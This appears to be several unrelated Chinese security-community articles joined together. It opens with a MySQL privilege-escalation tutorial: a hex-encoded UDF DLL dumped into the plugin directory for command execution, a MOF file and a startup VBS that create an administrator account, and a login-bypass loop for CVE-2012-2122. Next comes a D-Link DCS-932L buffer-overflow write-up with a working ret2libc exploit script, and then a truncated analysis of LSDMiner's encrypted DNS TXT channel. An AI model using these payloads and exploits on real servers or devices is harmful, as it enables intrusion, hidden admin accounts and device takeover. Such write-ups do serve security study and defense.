00eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
select data from temp into dumpfile "D:\\phpStudy2016\\MySQL\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll'; #创建函数sys_eval
**特别注意**
Can't open shared library 'udf.dll' (errno: 193 )
如果在create function sys_eval returns string soname 'udf.dll'; 遇到这个说明你dll不对或者过于老旧，从kali中找一个全新的dll
kali中udf提权dll的位置 /usr/share/metasploit-framework/data/exploits/mysql/
复制出来即可，选择的dll的版本和mysql版本要相同
写入之后我们就可以执行命令了，执行命令发现已经提升为管理员权限
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数
select sys_eval('whoami'); #使用系统命令
当然我们也可用现成的udf提权脚本
## MOF提权
**简介**
mof是windows系统的一个文件（在c:/windows/system32/wbem/mof/nullevt.mof）叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后，然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行，这个mof当中有一段是vbs脚本，这个vbs大多数的是cmd的添加管理员用户的命令。
MOF提权的条件要求十分严苛:
1. windows 03 及以下版本
2. mysql 启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
3. secure-file-priv 参数不为 null
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user sqladmin admin /add&&net.exe localgroup administrators sqladmin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = ;
Filter = ;
};
1. 保存为 1.mof,然后 mysql 执行:select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
2. mof 被执行的话,会帮我们添加一个叫 sqladmin 的用户.
我们提权成功后,就算被删号,mof 也会在五秒内将原账号重建,那么我们如何删掉我们的入侵账号呢？
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
## 启动项提权
这个利用vbs开机启动来执行命令，服务器需要重启
提权条件
1. secure_file_priv不为 null
2. 已知 root 密码
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user sqladmin 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators sqladmin /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
# 历史漏洞
## MySql身份认证绕过漏洞(CVE-2012-2122)
当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。
受影响版本：
* MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
* MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
使用docker配置好vulhub的环境
漏洞验证payload
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
注意：mysql服务器的防火墙要关闭，其次就是测试太多次错误会被ban掉，我们进入之后执行这两条即可
**flush hosts;**
**set global max_connect_errors = 1000;**
网上还有用msf的，但是我msf没有测试成功，反而因为这个被ban了
## CVE-2016-6662
<https://www.anquanke.com/post/id/84557#h2-5>
## CVE-2021-27928
<https://blog.csdn.net/Cypher_X/article/details/117073244> | 社区文章 |
# CVE-2019-10999 Dlink IP 摄像头缓冲区溢出
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞分析
CVE-2019-10999 是 Dlink IP 摄像头的后端服务器程序 alphapd 中的一个缓冲区溢出漏洞，漏洞允许经过身份认证的用户在请求
wireless.htm 时，传入 WEPEncryption
参数一个长字符串来执行任意代码。具体描述以及受攻击的型号、固件版本可以查看参考链接，此处漏洞复现采用的是设备 dcs-932l 固件版本
1.14.04，固件下载链接查看参考链接。
对后端服务器程序 alphapd 进行分析，存在漏洞的函数是 sub_435DEC，开辟的栈帧大小是 0x48，其中该函数的返回地址保存在 sp +
0x40，存在溢出的缓冲区起始地址是 sp + 0x18。因此，只需要向缓冲区写入超过 0x28
个字节就可以溢出覆盖返回地址，劫持控制流。除此之外还可以控制 S0~S5 寄存器。
如下是 sub_435DEC 栈帧的开辟以及返回地址的存储汇编代码：
.text:00435DEC li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:00435DF4 addu $gp, $t9
.text:00435DF8 addiu $sp, -0x48
.text:00435DFC sw $ra, 0x28+var_s18($sp)
.text:00435E00 sw $s5, 0x28+var_s14($sp)
.text:00435E04 sw $s4, 0x28+var_s10($sp)
.text:00435E08 sw $s3, 0x28+var_sC($sp)
.text:00435E0C sw $s2, 0x28+var_s8($sp)
.text:00435E10 sw $s1, 0x28+var_s4($sp)
.text:00435E14 sw $s0, 0x28+var_s0($sp)
.text:00435E18 sw $gp, 0x28+var_18($sp)
如下是调用 strcpy 函数复制数据到栈上的缓冲区中，strcpy 的第一个参数 des 通过 a0 寄存器传入，由于跳转延迟槽，对 a0 的操作指令在
jalr 指令之后，但是先于跳转指令执行：
.text:00435F98 loc_435F98: # CODE XREF: sub_435DEC+134↑j
.text:00435F98 la $t9, strcpy
.text:00435F9C move $a1, $s1
.text:00435FA0 jalr $t9 ; strcpy
.text:00435FA4 addiu $a0, $sp, 0x18
.text:00435FA8 lw $gp, 0x28+var_18($sp)
.text:00435FAC b loc_435E98
.text:00435FB0 nop
如下是函数执行完毕进行堆栈平衡，以及恢复 S0~S5寄存器、恢复 ra 寄存器到函数返回地址并跳转执行。
.text:0004BF34 loc_4BF34:
.text:0004BF34 lw $ra, 0x28+var_s14($sp)
.text:0004BF38 lw $s4, 0x28+var_s10($sp)
.text:0004BF3C lw $s3, 0x28+var_sC($sp)
.text:0004BF40 lw $s2, 0x28+var_s8($sp)
.text:0004BF44 lw $s1, 0x28+var_s4($sp)
.text:0004BF48 lw $s0, 0x28+var_s0($sp)
.text:0004BF4C jr $ra
.text:0004BF50 addiu $sp, 0x40
.text:0004BF50 # End of function system
## 漏洞环境搭建
### 使用 qemu-system-static 搭建
漏洞环境搭建先是使用 qemu-mipsel-static 搭建。
# 进入固件的根目录 复制 qemu-mipsel-static 到根目录
cp $(which qemu-mipsel-static) ./
# 使用 qemu 启动服务器 alphapd
sudo chroot . ./qemu-mipsel-static ./bin/alphapd
根据逆向中的反编译代码提示，是因为需要打开 /var/run/nvramd.pid 文件，那么在固件根目录创建 run 目录和 nvramd.pid 文件。
创建 pid 文件之后，继续运行依旧报错，无法创建 RSA 密钥，应该是缺少 urandom、random 设备造成的，手动在固件根目录创建。
sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/random c 1 8
sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/urandom c 1 9
**报错 unable to write ‘random state’**
OpenSSL 需要写入一些信息到 .rnd 文件，上面的错误可能是因为 .rnd 文件不存在，OpenSSL 不知道默认文件在何处，因为 RANDFILE
和 HOME 环境变量没有设置，那么解决方法就是创建 .rnd 文件并且设置环境变量指向这个文件。qemu 启动的时候设置这两个环境变量，解决了上面的问题。
touch .rnd
sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd ./bin/alphapd
**Can’t get lan ip from sysinfo**
通过搜索字符串定位到在 websStartupServer 函数中，通过调用 getSysInfoLong 获取，在 getSysInfoLong
函数中是通过 /dev/gpio 设备获取到，可以通过 patch getSysInfoLong 函数，或者在 websStartupServer 中
patch 地址判定代码。此处选择 patch 后者，就可以让程序在 0.0.0.0:80 端口运行起来。
如下是 websStartupServer 的地址判定处反编译，以及 patch 的基本块：
v3 = getSysInfoLong(30);
if ( !v3
&& (v5 = (const char *)nvram_bufget(0, "IPAddress"),
trace(0, "Can't get lan ip from sysinfo!\n", v4),
v3 = inet_addr(v5),
v3 == -1) )
{
trace(0, "failed to convert %s to binary ip data", v5);
result = -1;
}
else
{
v6 = inet_ntoa(v3);
...
}
重新运行如下：
### 使用 qemu-system-mipsel 搭建
发现使用 qemu 搭建的调试，使用 gdb-multiarch 连接不上去，于是采用了 qemu-system-mipsel
虚拟机来搭建，进入固件根目录。
chroot . /bin/mknod -m 0666 /dev/random c 1 8
chroot . /bin/mknod -m 0666 /dev/urandom c 1 9
touch .rnd
export HOME=.
export RANDFILE=$HOME/.rnd
chroot . ./bin/alphapd_patch_j
## 漏洞调试
### 漏洞触发
漏洞触发代码如下，也可以看到成功触发了 segment fault。
import requests
Headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Referer': 'http://192.168.100.2/setSystemWireless',
'Upgrade-Insecure-Requests': '1'
}
session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x28 + 'B' * 0x4
res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)
print(res.text)
在 QEMU 虚拟机中开启 alphapd，然后使用 gdbserver attach 上 server 的进程，通过 12345 端口提供调试
使用 gdb 调试，如下，保存在栈上的函数返回地址被 BBBB 字符串覆盖
### 漏洞利用
接下来的步骤就是寻找环视 的 gadget，从栈中获取数据设置 system 函数传入的命令，并跳转到 system 函数执行。
这个地方需要说一下，不能在 alphapd 中去直接寻找 gadget，因为 alphapd 的代码段装载在低地址空间，其中的 gadget
地址高位前两位是 00，通过 url 传递地址会发生截断。因此可以先看 alphapd 装载了哪些 so 文件，从 so 中去寻找 system 函数和
gadget。此处选择了 libuClibc-0.9.28.so ，因为通过 ldd 查看 alphapd 装载的 so 文件，其中有
libc.so，libc.so 链接指向 libuClibc-0.9.28.so。
这个地方是在 QEMU 虚拟机中通过查看 map 文件获取 ibuClibc-0.9.28.so
的装载地址的，如果在实际应用中，需要能够进入设备，从设备上查看 so 的装载地址以及是否开启了随机化，但是一般低端路由器中都是比较老的 Linux
系统，没有地址随机化，那么在 QEMU 中也关闭了地址随机化。此处选择了第一个装载的 libc.so.0 的基址：0x77ed0000
然后获取到 system 函数相对装载地址的偏移是 0x0004BD20，得到 system 函数的地址为 0x77ed0000 + 0x0004BD20
= 0x77F1BD20
在 IDA 中，对 ibuClibc-0.9.28.so 使用 mipsrop.stackfinder()，找到如下的 gadget，同样计算出地址为
0x77ed0000 + 0x00050DE4 = 0x77F20DE4
.text:00050DE4 addiu $s2, $sp, 0x1C8+var_D8
.text:00050DE8 move $a0, $s2
.text:00050DEC move $t9, $s0
.text:00050DF0 jalr $t9 ;
gadgets 的功能是将 sp + 0x1c8 – 0xd8 处数据传递给 a0，然后跳转到 S0 寄存器中去执行。通过前面对于缓冲区溢出的分析知道 S0
可控，写入 0x10 个字节开始控制 S0 寄存器，写入 0x28 个字节开始控制返回地址。那么整体的利用过程就是：
* 写入累计 0x10 个字节后，控制 S0 寄存器值为 system 函数地址
* 写入累计 0x28 个字节后，控制 ra 寄存器值为 gadget 地址
* 跳转到 system 函数，执行构造的字符串命令。此时已经恢复了堆栈， 从恢复的 sp + 0x1c8 – 0xd8 取出命令开始执行
exp 根据 poc 简单修改如下：
import requests
Headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Referer': 'http://192.168.100.2/setSystemWireless',
'Upgrade-Insecure-Requests': '1'
}
session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x10 + '%20%BD%F1%77' + 'B' * (0x28 - 0x10 - 0x4) + '%E4%0D%F2%77' + (0x30 - 0x28 - 0x4 + 0x1c8 - 0xd8) * 'C' + 'ls'
res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)
print(res.text)
执行结果如下，执行命令 ls
## 小结
本文先分析了漏洞原理，然后分别从 qemu 的两种方式仿真将 alphapd 启动起来进行调试，然后通过 ret2libc 对漏洞实现利用。
漏洞原理还是比较简单的，仅仅是一个缓冲区溢出 + ret2libc的操作。但是实际利用的话，也许还需要获得设备，通过其他方式例如 UART 等先获取到一个
shell，然后看程序的 so 加载内存布局获取到基址。此外，漏洞是将路由器后端 server 发生了栈溢出的，触发 segment
fault，如果路由器没有对 server 的守护进程或者看门狗，那么 server 就挂了。如果要稳定利用，可以考虑反弹一个 telnet 回来或者是在
exp 中通过 shellcode 重新启动 server。
## 参考链接
* [[cve.mitre.org] CVE-2019-10999 概述](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10999)
* [[先知社区] CVE-2019-10999复现](https://xz.aliyun.com/t/5681)
* [[github] CVE-2019-10999](https://github.com/tacnetsol/CVE-2019-10999)
* [[固件下载] DCS-932L_REVA_FIRMWARE_1.14.04.ZIP](https://us.softpedia-secure-download.com/dl/1987a9330e759255a393a795437da31e/61839716/300596532/drivers/network%20camera/DCS-932L_REVA_FIRMWARE_1.14.04.ZIP)
* [How to fix openssl error “unable to write ‘random state’”?](https://bobcares.com/blog/openssl-unable-to-write-random-state-unable-to-write-random-state/) | 社区文章 |
# 逆向解密 LSDMiner 新样本利用 DNS TXT 通道传输的数据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 概述
10 月中旬，部门老司机发给我一个 LSDMiner(旧称 **Watchdogsminer** ) 最新活动中的一个样本(MD5:
114d76b774185b826830cb6b015cb56f)。当时大概看了一眼，里面用到了 DNS TXT 记录来传输经过 AES
加密的数据，手头忙别的事，就先搁下了。近来捡起来分析，Google 搜索样本中用到的一个函数 **NewAesCipher128()** ，发现国外安全公司
**Anomali** 已经分析过这个 Case ：
Anomali 的 Blog： [Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now
More Difficult to Detect](https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect)
跟 [以前的版本](https://jiayu0x.com/2019/02/24/extract-compressed-files-by-static-analysis-in-watchdogsminer/) 一样，LSDMiner 的样本仍然是用 Go
编写，但是内部代码结构以及具体功能已经跟旧版本有很大差异。明显的差异至少有以下 3 点：
* 放弃了使用 Pastebin 作为恶意 Shell 脚本的下发通道，转而使用自己维护的 CC 服务器( `*.systemten.org` )来承载相关恶意活动；
* 集成了多个漏洞 Exp，增强传播能力，详见 Anomali 的 Blog；
* 利用 DNS TXT 记录下发多种经过 AES 加密的数据，这些加密数据有以下几种：
* 最新的恶意 Cron 任务用到的恶意 Shell 脚本下载 URL，可以写入失陷主机的 Cron 任务；
* 最新的恶意样本版本号，失陷主机上已有的恶意样本会对比自己的版本号以决定是否 Update；
* 最新的恶意 Shell 脚本；
* 一系列最新二进制样本的下载 URL。
其他恶意行为按照常规的逆向分析方法按部就班分析即可，而关于加密的 DNS TXT 数据的逆向与解密过程，Anomali 的 Blog
中描述一带而过，并没详述，按照他们 Blog 中简单的描述，并不足以解密这些数据。本文就以上述样本为例，解析一下如何通过逆向样本一步一步解密这些数据。
## 2\. 恶意样本执行流程
恶意样本总体的执行流程分为 3 步：
1. 通过 DNS TXT 通道获取用来篡改失陷主机 Cron 任务的恶意 URL，被篡改后的 Cron 任务会定期访问恶意 URL 获取最新的恶意 Shell 脚本；
2. 扫描当前 B 段网络，存活的 IP 尝试利用 4 种方式入侵并植入，4 种方式有：
* SSH 爆破；
* Redis 未授权访问；
* Jenkins RCE 漏洞(CVE-2019-1003000)利用；
* ActiveMQ RCE 漏洞(CVE-2016-3088)利用
3. 持久驻留失陷主机、释放矿机程序挖矿。
在最后第 3 步，也会通过 DNS TXT 通道获取最新恶意 Shell 脚本以及二进制样本的下载 URL。本文重点分析 DNS TXT
通道数据的获取以及解密。
先看一下恶意样本通过 DNS TXT 通道获取最新的用来篡改失陷主机 Cron 任务的恶意 URL 的整体流程：
可以看到样本首先从`cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com` 获取数据，然后用 AES-128bit
算法将其解密。再看一下从 `cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com` 获取的加密数据：
DNS TXT 响应是一串字符，而且是经过 Base64 编码的字符串
_A7PZtADnYAEMEArGhmA9xQihPq9TRz4QigssjeOmUnQ_ 。函数
**github_com_hippies_LSD_LSDC__AesCipher128_Decrypt()** 中的处理流程可以证实这一点：
到这里可以看出，要用 Go 语言编程解密这些数据，需要 3 步走：
1. Base64 解码 DNS TXT 的响应字串，得到待解密的二进制数据；
2. 初始化 Go AES-128bit 解密句柄；
3. 解密 Base64 解码过的二进制数据。
## 3\. Base64 解码
先用 Linux 自带的命令行工具 **base64** 尝试解码：
有点蹊跷，不能用 base64 命令直接解码，看来用的并不是标准的 Base64 编码。这里先补充一下关于 Base64 编码的两点背景知识：
1. 参考: [RFC4648](https://tools.ietf.org/html/rfc4648) ，Base64 编码主要有两种： **标准编码(StdEncoding)** 和 **URL 安全的编码(URLEncoding)** 。标准 Base64 编码的编码字符表是 _ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/_ ，而 URLEncoding 的编码字符表则把 StdEncoding 编码字符表中的 **+** 替换为 **–** ，把 **/** 替换为 **_** ，即 _ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-__ ；
2. Base64 两种编码的默认填充字符都是 **=** ，但也可以选择不填充任何字符。
上述两个知识点，在 [Go 的 Base64 标准库文档](https://golang.org/pkg/encoding/base64/?m=all)
开头就有说明：
两个知识点各自分为两种情况，这样组合起来就有 4 种细分的 Base64 Encoding：
那 LSDMiner 样本中具体是用什么样的 Base64 解码呢？需要先看一下样本中 Base64 解码的 Encoding 句柄是如何生成的。在函数
**github_com_hippies_LSD_LSDC__AesCipher128_Decrypt()** 中，是先拿到 Base64 解码的
Encoding 句柄再进行解码：
通过上面的 xrefs 信息，可知这个 **b64EncodingObj** 是在函数 **encoding_base64_init()**
中生成的。进入这个 init 函数， **b64EncodingObj** 生成过程如下：
可以看到这样两点：
1. 调用 base64.NewEncoding() 函数时，传入的参数是 URLEncoding 的编码字符表，即样本中用的是 URLEncoding 形式的 Base64 编码；
2. 调用 base64.URLEncoding.WithPadding() 函数时传入的参数是 **-1** ，即 **base64.NoPadding** ，不带填充字符，即 **base64.RawURLEncoding** 。
至此就可以解码 DNS TXT 响应的字符串了。测试代码与结果如下：
## 4\. AES 解密二进制数据
通过前面粗略的逆向分析，我们仅知道样本中用了 AES-128bit 算法来解密数据，但这些知识远不足以解密上面用 Base64 解码得到的二进制数据。AES
加密算法此处不详述，可以自行搜索相关资料，本文只关注如何用算法来解密数据。要想正确解密数据，还需要确定以下 AES 解密算法相关的几个要素：
* AES 密钥；
* AES 解密用到的 IV 向量；
* AES 解密算法的分组密码模式；
* AES 解密算法的 Padding 方式。
上面的逆向分析过程中，我们注意到样本中调用了函数 **crypto_cipher_NewCBCDecrypter()**
，可以确认样本中用到的分组密码模式是 **CBC** 。
在分析确认其他几个要素之前，我们先捋一下两个关键函数的逻辑：初始化 AES 解密句柄的 **NewAesCipher128()** 和 执行 AES
解密操作的 **AesCipher128_Decrypt()** 。
### 4.1 NewAesCipher128
首先，样本调用该函数的时候传入一个参数，即待查询 DNS TXT 记录的域名字符串
`cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com`：
在函数内部先初始化一个 **crypto/md5** 句柄（代码片段对照左边标准库函数 **crypto_md5_New()** 即可理解)：
然后将传入的域名字符串由 string 类型转成字符切片并写入 MD5 digest 对象，再通过 **md5.digest.Sum()** 函数做一次
MD5 Hash 计算(注意 Sum 函数传入的参数为 **nil** )：
再把这轮 MD5 计算的值通过 **hex.EncodeToString()** 转成 32-bytes 的字符串，即常规的字符串形式的 MD5
值。然后取出再取出这个 MD5 值的 **前 16 字节** ，保存到变量( **r1HashStr_16bytes** )中备用：
接下来，样本又做了一次 MD5 计算，并且取出这一次 MD5 值的 **后 16 字节** ，保存到变量中备用(注意，这一次 MD5 计算之前没有调用
md5.dgest.Write() 来写入新字节，并且调用 md5.digest.Sum() 函数时依然传入参数 **nil** ):
后面可以看到，第一次 MD5 计算后取出的 **前 16 字节** 数据，被作为 **AES 密钥** 传入 **aes.NewCipher()**
函数来初始化 AES 解密句柄：
